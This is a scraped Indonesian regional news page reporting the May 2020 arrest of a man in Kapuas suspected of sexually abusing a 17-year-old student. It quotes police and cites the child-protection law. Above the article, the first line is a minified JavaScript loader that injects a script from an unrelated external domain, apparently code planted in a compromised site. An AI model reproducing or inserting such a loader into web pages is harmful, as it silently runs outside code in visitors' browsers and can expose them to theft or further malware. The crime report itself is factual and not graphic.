(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINALITAS KAPUAS

‘Garap’ Pelajar di Rumah Kosong, San Dibekuk Karena Cabuli Pelajar


KANALKALIMANTAN.COM, KUALA KAPUAS – Seorang pelajar yang tinggal di sebuah desa di Kecamatan Kapuas Kuala, R (17) menjadi korban pencabulan. Diduga dilakukan oleh San (27) warga desa yang sama. Kejadian naas itu dialami R pada Minggu (24/5/2020) pukul  21.00 WIB, di dekat kediaman San.

Peristiwa tersebut terjadi pada saat R berjalan menuju warung yang berjarak kurang lebih 150 meter dari rumahnya untuk membeli kue. Dalam perjalanan korban bertemu dengan San, kemudian menghampiri R dan menarik tangannya, sambil membujuk agar bersedia menemaninya bersantai.

Setelah bersedia, kemudian R diajak pergi ke rumah kosong milik keluarga San, namun sampai di rumah kosong tersebut bukannya untuk bersantai, eh malah R diajak masuk ke dalam kamar. Selanjutnya terjadilah pencabulan di rumah kosong itu.

Akibat kejadian tersebut korban mengalami kesakitan di bagian kelaminnya, setelah mengetahi dari pengakuan anaknya tentu saja tidak terima atas perbuatan San. Sehingga orang tua korban merasa keberatan dan melaporkan kejadian tersebut ke kantor Polsek Kapuas Kuala guna dilakukan proses hukum.

Tersangka berhasil diamankan Polsek Kapuas Kuala dan selanjutnya beserta barang bukti dibawa ke Polres Kapuas guna proses hukum lebih lanjut.

Kapolres Kapuas, AKBP Manang Soebeti SIK M Si melalui Kasat Reskrim Polres Kapuas, AKP Tri Wibowo SE, Sabtu (30/5/2020) membenarkan kejadian tersebut.

Dijelaskannya, telah terjadi tindak pidana persetubuhan anak di bawah umur sebagaimana dimaksud dalam pasal 81 Ayat (1) Undang-Undang RI Nomor 17 tahun 2016 tentang penetapan peraturan pemerintah pengganti Undang-Undang Nomor 1 tahun 2016 tentang  perubahan atas Undang-Undang Nomor 35 tahun 2014 tentang perubahan atas Undang-Undang RI Nomor 23 tahun 2002 tentang perlindungan anak. Serta  Undang Undang Nomor 23 tahun 2002 tentang Perlindungan Anak

“Terlapor  diduga melakukan persetubuhan anak di bawah umur, sudah diamankan, untuk di dalami dan diproses, nanti hasil penyelidikan akan kita kabari kembali,” kata AKP Tri Wibowo. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.